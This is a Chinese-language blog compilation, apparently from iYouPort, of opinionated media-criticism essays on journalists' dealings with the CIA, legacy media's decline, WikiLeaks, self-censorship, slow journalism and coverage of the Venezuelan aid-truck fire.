“我的观点是……这是与电影制作人合作的常规努力，以及中央情报局15年来一直在做的事，”Dilanian 在寄给该机构新闻办公室负责人 Cynthia Rapp 的电子邮件中写道，“我认为这是一个符合你的兴趣的故事情节，你可以提供有关为寻求这些故事的娱乐界人士提供指导的常规信息 — 包括民主党人！- 它应该表明这个最新情节不是一个丑闻。“

Dilanian 的声调几乎奏效了。他后来的报道中包括中央情报局发言人 Todd Ebitz 的评论记录。一年后，根据“信息自由法”获得的中央情报局内部文件显示，该机构的公共事务办公室 — 就是一直跟 Dilanian 合作的那个部门 — 曾要求并接受了电影《Zero Dark Thirty》剧本的更改，以更为有利的方式描绘 **CIA**。

The Intercept 获得的评论中，Dilanian 说：美联社不允许他在稿件发布前向中央情报局发送报道草稿，他表示这不是个好主意。“我不能这样做，现在我不会这样做”，他说，“但是对结果没有重大影响。我应该是一直在阅读他们的东西，而不是给他们”。

Dilanian 说，他不确定洛杉矶时报的规定是否允许记者在发布之前将草稿拿去接受审查。实际上时报的伦理准则上明确禁止这种做法：“我们不会在出版前在新闻室外传播印刷或电子副本。如果您想要阅读报价单或选定的段落以确保准确性，请在这样做之前咨询编辑……“。

时报副局长兼国家安全编辑 Bob Drogin 说，他不知道 Dilanian 向中央情报局发送了报道的草稿，并且不会允许他这样做。他说：“Ken 是一个勤奋的记者，有责任为你的报道征求意见和回应。但分享报道草稿的做法并不合适……”

美联社发言人 Paul Colford 告诉 The Intercept，该新闻组织 “满意的是，Ken 加入美联社之前与 CIA 进行的任何出版前交流都是为了追求他在报道情报事宜上的‘准确性’，”并补充说 “我们不会与政府机构就材料的措辞进行协调。”

Dilanian 的电子邮件被纳入 FOIA 的一项请求，寻求 2012 年3月至7月间中央情报局和10位国家安全记者之间的沟通，这些记者和作家包括：Dilanian, Adam Goldman（原在美联社，现在在华盛顿邮报）Matt Apuzzo（原在美联社，现在纽约时报）洛杉矶时报的 Brian Bennett，华尔街日报的 Siobhan Gorman，纽约时报的 Scott Shane 还有华盛顿邮报专栏作家 David Ignatius。这些通信都被公开了。

不可能准确知道中央情报局对记者的询问是如何回应的，因为公开的电子邮件只显示对话的一方。但显然，中情局修改了几乎所有回复，除了在记录中明确提出的微薄评论之外，引用 1949 年的 CIA 法案，该法令豁免该机构不得不披露的 ”情报来源和方法“ 或 “机构雇用的组织，职能，姓名，职位，薪水或人员数量。” 来自中央情报局新闻处理员的非正式记录或背景电子邮件的内容显然不公开姓名、头衔或薪水（无论如何都可以轻易地进行编辑）；他们可能会披露资料来源和方法，具体取决于您是否将操纵美国记者的行为视为“情报手段”。

「图」

by The Intercept

这些电子邮件还显示，中情局要求邮报的 Ignatius 在 2012 年 5 月的非正式会议上发言，题为“伊斯兰政治的未来：挑战、选择和不确定性”，为美国政府情报分析师和决策者做演讲。新闻办公室的一封电子邮件中扩展了邀请，该新闻办公室表示，会议组织者“希望借鉴你在阿拉伯之春期间的领域经验、报道和关于广泛联系网络的见解，分

享记者如何感受到正在形成的主要政治、社会或宗教变革“。

Ignatius 回答说他会“很高兴也很荣幸能够参会”，但不幸的是，会议时间正赶上他在欧洲旅行。CIA 随后提出“在未来的某个时候与我们的人一起建立一个更小的圆桌会议。”

“小圆桌会很棒”， Ignatius 回复说。

Ignatius 告诉 The Intercept，圆桌会议从未发生过。但他证实，自 **2005** 年以来他曾两度与中情局交谈过。“我跟他们谈过记者如何收集信息，”他说，“这意味着作为一种告诫和警惕，需要把事情做好，不要屈服于政治压力，并要有系统来纠正错误。”

Ignatius 在与中央情报局交谈之前，他已经得到了编辑的批准，并且没有发现与该机构发生任何冲突或问题。“我们的新闻专业和情报业务之间存在非常尖锐的界限，不应该跨越，”他说，“我跟他们谈了我作为一名编辑所学到的东西，以及让它保持正确的重要性。我没有与他们分享任何[敏感]信息。”

另一项应 “信息自由法” 要求而发布的记录是，寻找有关受邀向中央情报局雇员发言或汇报的记者的信息，显示几名福克斯新闻记者受邀访问了该机构。

福克斯新闻的 Bret Baier 在2008年（当时有报道）以及当时的 NPR、华盛顿邮报和纽约时报的监察员（分别是 Jeffrey Dvorkin，Michael Getler 和 Daniel Okrent）发表了关于慈善事业的重要演讲，一起出现在 CIA 小组上。

事件描述写道，新闻业“分享与情报分析师一样的任务 — 以毫无偏见的方式呈现信息并挑战盛行的意见。” 监察员在请帖上说，这可以帮助中央情报局“了解记者如何处理我们一些共同的专业和道德难题。”（从文件中可以看出，监察专员举行活动的时间应该在 2009 年或之前。）

2007年，当时在 NPR 的 Juan Williams，还发表了由该机构的多元化计划和项目办公室赞助的“小范围使用”的演讲。Williams 在演讲中称赞中央情报局人员是“最优秀和最聪明的”，并表示美国人钦佩该机构，并相信它“引导国家的未来”。

Williams 还谈到了 Nelson Mandela，说他是“体制外领导人”的典范。这里有一定的讽刺意味 — 中情局在曼德拉于 **1962** 年被南非种

族隔离政权逮捕一事上"发挥了关键作用"，导致他入狱 **28** 年 — Williams 没有意识到这点，或只是选择了回避。

PS: 原文发表于我们的博客：https://iyouport.wixsite.com/iyouport/blog/

以下链接中有完全不同的内容，我们很少将新闻发布在博客上。

我们的另一个博客在这里：https://steemit.com/@iyouport

在 Google 关注 iYouPort: https://plus.google.com/b/104314277918209223775/104314277918209223775

在 twitter 关注 iYouPort: https://twitter.com/iyouport_news

原文

皇帝的新愤怒：为什么传统媒体陷入困境 - iYouPort

关于真实的“媒体”-真相衰变

传统媒体是怎么完蛋的？当你知道一家媒体在你熟悉的领域上撒谎时，你的选择是什么？

互联网的新媒体—新闻和娱乐实体—无论是公司的还是个人的—正在以牺牲传统媒体报纸、电视台和杂志为代价，获得客户关注和充实钱包，那些报纸、电视台和杂志几乎已经存在了几十年，即使它们现在依然存在，至少部分内容也必须存在于网上。考虑到消费者互联网通过极大地降低广播内容的成本使新媒体成为可能，这种转变似乎很自然。

然而这种威胁传统媒体的趋势不仅通过鼓励大规模的消费者转向于关注竞争，而且，通过允许内容生成更快、更接近故事来源，而不是传统媒体可管理性，并通过挑战既定的传统媒体价格点，从而产生了新的商业模式。

由于传统媒体无法有效应对新环境，这种转变实际上开始加速超过了其自然速度。此外，技术和人口变化的进一步可能方向只会使事情变得更糟。

在一篇热门猜测中，迈克尔·克莱顿（Michael Crichton）创造了现在著名的 Gell-Mann 健忘症术语，以著名的物理学家的名字命名，以便人们更加重视这种效应：

你打开报纸上的一篇关于你熟悉的主题的文章。在 *Murray* 的案例中是物理学。在我的案例中是商业。你阅读了这篇文章，发现记者完全不了解事实或问题本身。通常情况下，这篇文章是错误的，它实际上呈现了故事向后逆转的因果关系。在任何情况下，你都会以愤怒或调侃的方式回应故事中的多个错误，然后将页面翻到国家或国际事务部分继续阅读，就好像这份报纸的其他部分对巴勒斯坦的某些方面能够更准确一样，而不是你刚读过的那些东西。你翻页的那一刻，已经忘

掉了前面你读到的错误。

很有趣，并且显而易见，大概很多人都有类似的经历。如果对于我们一无所知的话题不去相信报纸，那么我们应该相信谁或者应该相信什么呢？你个人认识巴勒斯坦的任何专家、或者有相关第一手经验的人吗？我相信我们中的一些人会这样做，但事实上大部分人都不会，只有报纸和媒体这些信息中介是他们的第一手知识。

如果做得好，这类信息中介可以是非常有效的，因为没有人有时间在任何信息方面亲自寻找真相。那么，这件事很有趣所以它是真的吗？不，它很有趣因为它是愚蠢的而不一定是真的，在互联网时代，真实性会越来越低，因为真实很可能不赚钱。

现在，互联网绝不会让任何人成为任何事的专家—实际上，它已经欺骗了许多人，但它提供了一个看似无限量的信息空间，如果人们有动力去寻找的话。

这提供了一个暗示，为什么 Gell-Mann 健忘症可能会变臭，如果还没有完全死亡的话。纯粹的教育材料当然有助于建立一些深奥的知识，这种知识可能最终帮助人们能够在这里或那里揭穿奇怪的文章。但是还有另一种可能更快、更具戏剧性的事件序列：你可以通过引用与它们直接矛盾的信息来揭穿文章存在的问题，而无需任何专业知识，不论那些矛盾信息的来源是什么。

这种现象可以在 YouTube 红人 PewDiePie 事件上看到。Vox 以一种非常容易被否定的方式诽谤 PewDiePie 并且引起了强烈反对，这让人不禁怀疑 Vox 的员工是否真正了解 YouTube 是什么以及它是如何运作的。几乎三分之一的评论员在文章中提到上述链接中作者的名字—在 Quillette，Twitter，Reddit 和其他地方—都假设作者是一名记者。

但那位作者不是记者。他有一份9–5的常规工作，需要对该主题有一定的了解。如果曾经撒谎或以其他方式编造信息，就会被即时解雇，甚至可能被起诉。

他回答了其中一些电子邮件，通知人们他不是记者，那个在**Vox**胡说八道的才是职业记者。这件事比较有趣，它显示了人们依旧认为“讲真话的人应该是记者”，或者干脆说“记者应该讲真话”。

那么人们对新闻业的信仰会被打破吗？或者他们是否会对这种误解指向的新闻学和该行业的变化感兴趣？当然希望是后者，因为它至少看

起来乐观，如果不出意外的话乐观主义最终植根于技术进步。

类似事件多到数不胜数。

Covington 崩溃的后果已经引发了对新闻机构和 twitterati 的诽谤诉讼的前景，这些诉讼揭露了关于孩子们的虚假信息。不幸的是，可能被告被提供了48小时的宽限期来删除有问题的推文，许多人利用了这一点，尽管#VerifiedBully活动的创始人 CJ Pearson 和 Ali Alexander 正在创建相关推文和媒体的数据库，不管是删除的还是没删除的全部收集起来。

但更重要的判决可能已经在舆论法庭上宣布了。这并不代表整个传统媒体机构的丧钟，但需要从中恢复。我不认为媒体的重要性将会下降，但这一事件是意识形态驱动的传统媒体莫名其妙的糟糕策略的最好例子，这些事件都会促使消费者逐渐转向新媒体平台。

首先，Covington 的叙述可以说是完全颠倒了，因为新媒体发挥了作用，人们很容易发现无可辩驳的证据，即传统媒体共同实施了最可能被称之为自发协调疏忽的内容。

在最初的愤怒消亡之后，传统媒体已经无处可藏。错误信息的规模是如此的巨大，并且显然是出于政治动机的，其目标是儿童。这些孩子可能的支持者并不局限于边缘群体，如 PewDiePie、科幻小说或电子游戏的粉丝：他们包括任何对歪曲感到震惊的人。

那么，为什么在这些机构工作的人不介入呢？纽约时报、CNN 和 Vox 首先都是名义上的企业。他们需要持续盈利，想赚钱就需要留住他们的客户，继而需要维护自己的声誉，这就需要避免容易揭穿的谎言。

好吧，事实上他们却没有避免。要理解为什么，必须转向 Albert Hirschmann 的政治科学经典《Exit, Voice and Loyalty》。如果一个机构违背其职业道德，你的选择是什么？批评—发出声音？还是干脆离开—退出？他的中心论点是，经济学家倾向于将“退出”视为解释工具，而不是“声音”，而政治学家则相反，重视“声音”而不是“退出”。这简直糟透了，因为几乎每个机构都同时具有经济和政治两方面特征，并且检查它们之间的相互作用在解释现实世界现象方面远比完全忽略其中任意一方更有成效。

在传统媒体与新媒体的情况下，退出曾经是可能的，但是不可取，因为没有竞争对手可以让你从中获得相同的服务。或者至少没有另一个

服务有足够的差异以便使退出有价值。

这就是为什么“声音”-批评变得更有价值了。然而，互联网不仅成为了传统媒体的合法竞争对手，而且使得整个传统模型在不断变化的情况下变得多余（这就是为什么中国正在拼命使用“融媒”的羊皮概念试图悄无声息地重新操控新媒体）—在比以往更多的情况下观众可以直接访问信息源本身，比如媒体最喜欢的名人，他们自己就在社交网络上有账户。

在此，作为信息中介的媒体对信息本身没有任何补充—— 你在推特上看到特朗普的帖子后还需要再从媒体那边重读一遍吗？鉴于人类自然倾向于过度反应和确认偏见，对于受众而言，信息中介可能是非常有价值的，更不用说有效了。不论如何，“退出”的可能性都很高。我的预感是，“声音”并不重要，因为每个与共识有着不同看法的人可能都已经“退出”了。

撇开关于信息中介的社会效用的辩论，他们的商业模式也几乎肯定是多余的。谷歌和 **Facebook** 才是唯一在新范式下能够赚钱的人。这种令人厌倦的经济现实的影响几乎在所有情况下都转向了依赖广告，这反过来意味着对点击量的依赖，于是又极大程度上激励了快速产生的、研究不足、最大程度上能把人们激怒的 clickbait 垃圾。

有充分的理由相信这种模式无法在千禧一代的首要地位中存活下来。而早在2015年的市场分析就表明，Z世代与其千禧代前辈有许多明显不同的特征。这个理念在特朗普之后重新出现，并且采取了一种政治基调，即使不是错误的，也至少会分散注意力。

赫芬顿邮报很好地揭穿了这一比喻并提出了更深思熟虑的分析。值得关注的是，Z世代“更善于使用互联网”，“更具创业精神”和“不那么理想化”，即可能对愤怒的点击量感到怀疑，渴望为自己找到源材料—因此不可避免地被传统媒体高兴抹黑的 YouTube 人物所吸引。他们当然也不会喜欢他们的孩子们被传统媒体仪式性地摧毁。在当前的气候下，这自然会使他们远离大多数中介信息—即媒体。

互联网可能是技术史上最伟大的“声音”放大器。如果它不会使印刷机边缘化，那么它肯定会为它带来好运。各种社交媒体和博客的座右铭都是“发出自己的声音”，不论算法能不能让你自己的声音被大众听取，人们都会努力发出声音，中央级的信息中介正在某种程度上被瓦解。

所有事都在朝着一个方向发展。新闻业必须适应它，如果它具有任何

社会价值、经济基础或代际吸引力的话，那就是：提升诚实度才能避免被“退出”。 广告

原文

真正的新闻记者是人民的代理人，而不是权力的代理人 - iYouPort

关于真实的“媒体”-真相衰变

“民粹主义”只是一个贬义的媒体术语。我们所看到的是一场流行的阶级叛乱；今天的自由主义者经常痴迷于所谓的”身份政治”。而普通人已经变得更聪明了...

「图」

「图」

我们介绍过 John Pilger，普利策奖得主，澳大利亚籍著名新闻记者和纪录片制作人，以及他最棒的作品之一—揭露媒体撒谎的纪录片《The War you don’t see》以下是他的访谈。

记者可以通过说出真相，或者通过他们能找到的尽可能多的事实来帮助人们，并且不是作为政府、权力的代理人，而是作为人民的代理人。那才是真正的新闻。其余的只是似是而非的。

当我刚开始作为一名记者，特别是作为驻外记者时，英国的新闻界是保守的，并且由强大的部队所控制，就像现在一样。但与今天相比的差异在于，独立新闻拥有的空间。现在这个空间已经几乎被关闭，独立的记者已经上网，或者进入隐喻的地下。孟加拉国拥有丰富的独立新闻传统，一定要保护它。

最大的挑战是，如何将新闻业从其作为大国权力的速记员的恭维角色中解救出来。美国在宪法层面上拥有地球上最自由的新闻界，但是，在实践中，它有一种媒体对于权力的程序式信仰和欺骗感。这就是为什么政府有效地获得了媒体的支持入侵伊拉克、利比亚、叙利亚和其他几十个国家。

Wikileaks 可能是我一生中经历过的最令人兴奋的新闻发展。作为一名调查记者，我经常不得不依赖举报人的勇敢，有原则的行为。当丹尼尔埃尔斯伯格泄露五角大楼文件时，有关越南战争的真相被公之于

众。有关伊拉克和阿富汗、沙特阿拉伯以及许多其他爆发点的真相之所以能被人们所知晓，是 Wikileaks 公开了这些举报人揭露的信息。

Wikileaks 的信息百分百是真实和准确的，您可以了解其影响，以及那些秘密而强大的势力因此产生的愤怒。Julian Assange 是伦敦的政治难民，仅仅是因为一个原因：Wikileaks 讲述了21世纪最大罪行的真相。他应该受到新闻界和世界各地人民的支持。

“民粹主义”只是一个贬义的媒体术语。我们所看到的是一场流行的阶级叛乱，由于政府的极端经济政策，人们厌倦了贫困、就业权利的崩溃和生活中的各种不安全感。

当然还有其他的原因，但基本上西方普通人—特别是美国、英国、法国、希腊和意大利—正在看到他们的宝贵收益逐渐消失。这就是法国“黄背心”得到如此广泛支持的原因。而来自遭受贪婪政策迫害的国家的难民潮—如利比亚和叙利亚—在此充当了替罪羊。

今天的自由主义者经常痴迷于所谓的“身份政治”。而普通人正在意识到这一点，或者至少他们正在努力。

关联我们此前的系列文章，关于现代“新闻”如何杀死了民主：

- 《现代新闻之愚蠢并非意识形态倾向性问题 (1)》
- 《现代新闻之愚蠢 (2)—四种最致命的倾向性》
- 《现代新闻之愚蠢 (3)—深度剖析四种致命倾向性，及其政治代价》

以及，更要的是，详见《为什么说记者的专业性和对安全知识的熟练掌握决定了民主的可持续性》尤其是其中关联的诸多文章。相信中国的有志之士能充分利用这些知识为民主做出贡献。

‘Real journalists act as agents of people, not power’ WikiLeaks told the truth about the greatest crimes of the 21st century. He is not forgiven for that, and he should be supported by journalists and by people everywhere.

原文

自我审查是一种信誉自杀 - iYouPort

关于真实的“媒体”-真相衰变

要么你是一名记者，要么你只不过是政府的廉租骗子和宣传工具。

新闻媒体的工作是什么？报道新闻。每个人都同意这一点。但是，新闻媒体成员认为理所当然的一些自我强加的所谓“道德标准”正在阻碍该行业的基本使命：向急需知情权的公众讲述他们应该知道的一切。

如今每个人都知道企业媒体是如何在 Julian Assange 案的相关报道中持续撒谎、避重就轻的。这是如此危险的企业极权主义回归，我们中的每个人都有可能成为下一个受难者，然而这些企业媒体却完全无视这点，而是不断抹黑 Julian 的性格、不断将公众的注意力锁定在他的猫这样无聊的事上，居然还有些人对此表示赞同。

前几天，NPR 的“晨报”报道了 Kurt Cobain 自杀25周年。40岁以上的每个人都记得当年发生了什么：患有抑郁症、慢性疼痛和药物成瘾的这位歌手，把枪口放进了自己的嘴里。

这是有史以来最著名的自杀事件之一。 NPR 选择含蓄的表达，重点指 Cobain 的“死亡”，而不是他的“自杀”。

绕避根本性问题这种小心机众所周知是愚蠢的。但是，与大多数企业媒体一样，NPR 只是遵循世界卫生组织发布的关于自杀的指导方针。专家们称，自杀可以引发一种被称为“自杀传染”的现象，其中处于情绪危机中的人们受到自杀故事的启发，将放弃生命视为解决问题的方法。正如“时代”杂志最近写的那样，“对死亡的描述越生动……它就越有可能导致自杀蔓延。”于是他们据此鼓励编辑和制作人避免详细描述自杀受害者是如何做到的，等等。

降低自杀率是一个值得称道的目标。但是，记者的工作是报道和分析新闻，而不是管理心理健康。如果你接受这一自我审查的思路，那么接下来会是什么？拒绝在新闻中提及汉堡包，因为它们会导致动脉硬化？不要提及汽车，因为它们杀死了人（并且是大量的人）？并且，

这些企业媒体并没有停留在自我审查阶段，而是一直在努力成为审查战的工具，用战斗故事美化军国主义，从而引发更多的战争。

对读者说谎是报纸犯下的最严重的罪行。这包括片面陈述的谎言：读者花钱买了信息并且完全有权期望真相，全部真相，而不仅仅声称自己是“真相”的谎言。

通过从新闻中省略重要的相关事实，如 Cobain 的故事，这些企业媒体严重破坏了媒体的可信度。当听众和观众知道真正发生的事、并意识到自己被自封的保姆像骗小孩子一样糊弄时，这种情况就会翻倍。

这不是全部。媒体失去信誉的另一种方式是他们坚持企业媒体广泛接受的信念，即 他们在某种程度上负责保护“国家安全”。

当媒体从泄密者或举报人那里收到机密材料时，他们经常联系相关机构对文件进行认证、和/或允许当权者提出修改建议。如果你是“邮报”的读者，你已经看到，华盛顿邮报联系了尼克松政府，让白宫有机会争辩他们为什么不发表五角大楼文件。

你能看到像“卫报”和“纽约时报”这样的媒体分享了爱德华·斯诺登揭露的国家安全局和中央情报局的大规模间谍行为的机密文件，因此你知道他们已经事先通知了当权者并接受了当权者建议的修改，但你不知道被删除了什么。即使是 The Intercept 这样做也会产生严重影响：愚蠢地与联邦调查局分享泄露的 CIA 文件，结果不仅是公众不能充分知情，而且，当权者利用他们的情报分析来追踪并报复名为 Reality Winner 的举报人。她现在在监狱里。

在海湾战争期间，杰拉尔多·里维拉（Geraldo Rivera）因绘制了一张显示沙地部队运动的地图而陷入困境。五角大楼把他赶出了伊拉克，许多企业媒体记者都对此表达了同意。

他们错了。记者不是政府的雇员。他们只对新闻消费者负责，而不是对未能保护自己秘密的军事或情报机构负责。为什么记者不应该报告他们所知道的内容？无论他们发现了什么、无论多么敏感？如果纽约时报能及时公开诺曼底登陆计划的内幕消息，而不是打电话给战争部门。他们就能改写历史。

就如诺曼底登陆的例子所显示的那样，让企业媒体尊重公众的知情权是很难的。无辜的人会因此而死去。战争可能会失败。但对于致力于新闻业的人来说，这是一个简单的电话的问题。要么你是一名记者，要么你只不过是政府的廉租骗子和宣传工具。

印刷页面和电视屏幕上经常布满了索然无味的东西：就如珍妮特·杰克逊的“衣柜故障”那类东西。在拉丁美洲，9/11的照片在主要报纸的头版上刊发；但是在美国，即使是十七年后，这些图像仍然消失在公众的视野之外—— 被禁止刊发。甚至就连基于这些照片制作的雕塑也因担心被公众看到而被遮蔽。

并非人们不知道这些图像的存在。我们已经在9/11的现场报道中看到了它们；那些没看过的人也听说过了。但媒体已经决定，因为“太敏感”，我们无法看到自己的历史。即使你同意他们的编辑决定，也不会想知道他们还有什么东西可以保留给我们？

9/11的图像突显了当天的恐怖。审查不尊重死者。它粉饰了他们的痛苦。

人们礼貌地称其为“保姆媒体”，就像《黑镜》里那位妈妈一样，在她掌控下的孩子连邻居家的狗都看不见。这些保姆媒体已经不可信任，他们为“假新闻”的蛊惑人心的框架提供了支持。我们需要替代品，尊重事实完整性的独立媒体。

原文

该死的快讯 - iyouport

关于真实的“媒体”-真相衰变

【2019年11月12日存档】大众是否想要真知，是一个社会能否进步的关键。有希望解决棘手问题的变革模型也许有一大把，但它们是否能成功，将取决于人们是否想要它们……

Breaking news, fake news 和一切病态的东西（不论现在你叫它什么）。

在今天的超级连接世界中，每天、每时每刻都有一个看似无止境的庞大信息生态覆盖着每个人 —— 真实的和虚假的，混杂在一起。

但是，这一切并非刚刚成为噪音。

每分钟就有长达400小时的视频上传到 YouTube、每分钟就有527,000张照片分享到 Snapchat，在这样的一个世界中，还能有什么噪音令人震惊？

新闻报道在这场眼球争夺战中的丑态真的很难以理解吗？

延伸：

- 《现代新闻之愚蠢并非意识形态倾向性问题 (1) 政治真的没那么重要》
- 《现代新闻之愚蠢 (2)—四种最致命的倾向性 中国人更可怜》
- 《现代新闻之愚蠢 (3)—深度剖析四种致命倾向性，及其政治代价》

在所有这些丑态百出的比赛中，你唯一可以感觉到的就是，新闻议程在你有机会消费它之前就已经消失了；你无休止地追逐着那些风暴，但永远不会捕捉到任何东西。

正如我们曾经分析过那样，新闻业正处一个泥泞的岔路口 —— 主流

媒体大量裁员（如 BuzzFeed 和 Huffington Post 等），其他媒体悲惨消亡（如 The Pool 等），死的死伤的伤，这已经不是丑态能描述的境况了。

这些“战败”者的共同特点都是，主要依靠广告和赞助来创造收入（尽管 The Pool 确实有一个’溢价’付费通讯）。

为什么依靠广告的你注定失败？详见解读《异议的消亡》。

当人们越来越愿意为他们喜欢的高质量新闻付费时，这也变成了一种奇怪的策略—而且往往也是发生在网上。

举个例子，看看纽约时报的这些统计数据（注意2016年特朗普选举后的大幅增长）：

关于特朗普政府的堕落、虚伪、粗俗和威胁，如何帮助一大群媒体摆脱了经济困境：

- 《新闻之死—— 民主体制是否能修复的关键是什么？》
- 《垄断时代，如何拯救独立媒体》
- 《饿死真相》
- 《景观政治》
- 《引流暴政和生存困惑》

事实上，目前的严峻状况的确前所未有。

最近去世的受人尊敬的体育记者休·麦克尔万尼（Hugh McIlvanney）在他人生中最后一篇“星期日泰晤士报”专栏文章中哀叹到：

“我羡慕现代体育记者的年轻，但我不羡慕他们的经营状况。”

人们是否都厌倦了追逐即时新闻快讯风暴的疲惫？相反，是否还需要深思熟虑的新闻业？人们会愿意为此付费吗？

如果答案是肯定的，那么慢新闻必需重新回归。

- 《忘记假新闻吧，根本性问题在于真新闻本身》

什么是慢新闻？

慢新闻是一种让作者有空间和时间去“徘徊”并触及故事的核心的做法，通常是在新闻议程开始之后。

这并不是什么新鲜事 —— 过去几年中长篇报道的流行度增长基本上是持平的，尽管它们通常是对更传统的新闻做法的补充（参见卫报的长篇部分）。

现在我们看到专属网点的增加只会减缓新闻业的发展。

也许最突出的是英国的 Delayed Gratification（DG）杂志。这是一本高质量的季刊，以深刻的分析重新审视新闻。

“我们不是在试图与传统新闻媒体竞争，” 该杂志编辑 *Matthew Lee* 在接受在线采访时表示。

“慢新闻希望能激起读者的兴趣，并提供他们以前从未听过的新闻报道的观点。

“但我们的主要目标是创造一本漂亮的、信息丰富的且有趣的杂志。”

自2011年以来，DG 一直活跃，并且已经—慢慢地、适当地—建立了24,000个打印版读者群，包括5,000名订阅者，截至去年3月。

今年又出现了另一个慢新闻品牌：Tortoise。它将运作一个会员模型，旨在让人们真正了解事件的全貌而不会感觉到庞大信息量的压力（其座右铭是’减速、明智’）。

而且它的编辑团队有一大批重要的实力派合作者。

这是英国广播公司前新闻和“时报”编辑 Matthew Harding 的心血结晶，他还挖掘到了一大批顶级人才，包括新闻之夜的前政策编辑 Chris Cook，加入他的旗舰公司。

Tortoise 方法包括举办名为 ThinkIn 的新闻发布会，编辑团队在这里讨论他们将要调查的内容。

最重要的是，邀请 Tortoise 成员参加这些会议并分享他们对正在讨论的故事和问题的看法。

然后，这些内容会登陆每日一次的新闻摘要，每天早上11:00分享五到七个简明文章。

该公司还计划出版一本季刊专门收集长篇报道 —— 精心报道的调查性新闻作品。即 “新闻背后的驱动力”。

以上两个例子的共同点是希望深入地重新审视新闻故事 —— 根本不会考虑什么新闻周期（互联网新闻周期普遍只有2小时，最长不超过2天）。

两者采取的都是订户/会员模型，都在避免任何形式的广告。

显然有一个背景：Tortoise 在 Kickstarter 上获得了539,035英镑的支持，而去年年底的目标是75,000英镑。看到会员数量在4月份正式推出后如何增长将会很有趣。

慢新闻的示例

上面的两个案例并不是那些热衷于慢新闻的人的唯一选择。

以下是目前活跃的慢速新闻运动参与者的部分列表：

Delayed Gratification, UK

Tortoise, UK

ProPublica, USA

ProPublica 是一个独立的非营利性新闻编辑室，以道德力量制作调查性新闻。

它深入挖掘重要问题，揭示权力的滥用和公众信任的背叛。

这是在2010年第一次赢得普利策奖的在线新闻来源 —— 这个故事记录了一家医院医生在被卡特里娜飓风洪水袭击时做出的紧急生死决定。自那以后，该平台再次获得了两次优质新闻奖项。

The Atavist, USA

“Atavist” 杂志每个月都会发表一篇长篇非虚构报道。旨在成为具有深度报道功能的电影版真实故事来源。

Long Play, Finland

2013年，八位芬兰自由撰稿人发起了 Long Play。

这是一项旨在为严肃、高质量的新闻创建读者资助的出版模式的实验。

其理念是："生活中的重要问题很少有简单的答案。如果我们要真正了解当今的重大问题 —— 气候变化、健康和技术伦理、恐怖主义、种族主义 —— 我们的记者需要花费大量时间进行研究。"

Slow News, Italy

Slow News 制作了两个专门的新闻通讯 —— Flow 和 Wolf —— 订阅者可以付费使用。

订阅每月只需花费2欧元，Flow 每周出两次。

每周三，它包含了由 Slow News 的编辑人员策划的五篇内容 —— 包括文章、故事、照片、视频。

每星期日，它包含两个内容和一个未发表的文章框架，由出版商及其合作者设计和制作。

与此同时，Wolf 提供有关通信、营销和数字新闻领域的报道和分析。

由 Alberto Puliafito、Mafe de Baggis 和 Filippo Pretolani 编辑，每周出三次，每月收费10欧元。

Zetland, Denmark

Zetland 每天发布三到四篇新闻文章，重点关注长篇报道和深度文章。

它是一个基于订阅的组织，截至2017年7月拥有超过8,500名订阅者。

慢下来

就如我们在《什么是调查》中所强调的，快速的一切都不存在深刻性和全面性。调查性新闻永远不会快速。这也正是它的价值所在。

慢新闻不是创新，而是回归，它就是新闻本来的样子；慢新闻从业者往往会强调不与快讯争夺市场，但这不是事实，正相反，只有成功地争夺市场才能让新闻业重回民主支柱的位置。

以下这四个词正是现代快速新闻不再有意义的根本性原因：

- 轰动的：如果你没能获得媒体认为当有的轰动效应，你就不会

被关心；哪怕你的遭遇对他人来说具有确切的警示性效应；
- 特殊的：意味着第一个人遭到勒索软件攻击时它值得报道的 ，但勒索软件泛滥时，大批的受害者都会被媒体无视，因为他们“不再特殊”。换个角度看，如果你作恶一次，肯定会被揭露；如果你持续地广泛地作恶 …… 很可能就被无视了。
- 否定性的：你有没有注意到准确的分析（如果有的话）永远都是被报道的错误行为的陪衬？抗议者被关注的时候永远都是他们被捕的时候、甚至被杀？在他们真正成功的时候却没人知道他们……
- 时效性的：这点无须解释。99%的新闻不会让你在第二天还想看它，剩下的1%不会让你在一周后还觉得它值得说两句。一切都是走马观花的，难以推动对现实的改变。

新闻的问题并不在于虚假与否，而在于该行业本身。

以上慢新闻的成功案例无疑是对现代新闻的一项重大改革尝试，它们的成功是令人钦佩的。但是，这只是一个开始。

战胜快餐文化的根深蒂固并非易事。当读者抱怨我们的调查报告“太长、没法看”的时候，我们应该思考的不只有改革模式问题。〇

原文

通过最新曝光的谎言体验主流媒体的政治宣传 - iYouPort

关于真实的“媒体”-真相衰变地缘政治

政客如何与主流媒体串谋以操纵舆论？

以下是独立媒体 theintercept 的文章。在过去几十年的每一次重大战争都以同样的方式开始：政府制造一种煽动性的、情感挑衅性的谎言，大型媒体公司不加批判地将其视为真理而拒绝任何质疑或异议，从而煽动对国家的原始愤怒。不论是越南战争还是伊拉克战争。

这正是2月23日采用的策略，当时叙述从根本上转向了那些希望在委内瑞拉实行政权更迭行动的美国官员。那是因为在委内瑞拉边境，载有人道主义援助物资的卡车事件的图像正在全世界传播。一直在鼓动对委内瑞拉政权变更展开战争的美国官员—马克卢比奥、约翰博尔顿，迈克庞培—使用 Twitter 传播经典的假新闻：他们强烈肯定地说卡车被尼古拉斯·马杜罗总统的部队点燃。

「图」

「图」

像往常一样—正如沃尔夫·布利泽（Wolf Blitzer）一直在做的那样——美国有线电视新闻网（**CNN**）不仅传播这些政府谎言而且坚称其为“真相”。2月24日，美国有线电视新闻网告诉全世界的是 一个目前已经众所周知的谎言：“CNN的一个团队看到边境委内瑞拉警方的警察点燃了卡车，”尽管它慷慨地补充说：“记者不确定卡车是否被故意烧毁。“

其他主流媒体机构都赞同了这则谎言，同时至少避免了CNN亲自担保它所描述的事。“发往委内瑞拉的人道主义援助似乎被忠于马杜罗的部队点燃了”，“每日电讯报”称；英国广播公司也在照本宣科：“还有报道称有几辆救援卡车正在被烧毁—瓜伊多先生说这违反了日内瓦公约。”

这个谎言—由令人难以置信的强大视频图像支持—改变了一切。从那时起，“马杜罗烧毁了装满人道主义援助物资的卡车”一再被重复，继而，对委内瑞拉问题保持沉默甚至不愿意支持政权更迭的政治家们开始发表支持它的声明。美国新闻明星和智囊团杰出人士甚至缺乏一个关键的脑细胞，他们对战争促进的过程中发挥了主导作用，甚至没有花费一秒钟的时间来问问这是不是真的。

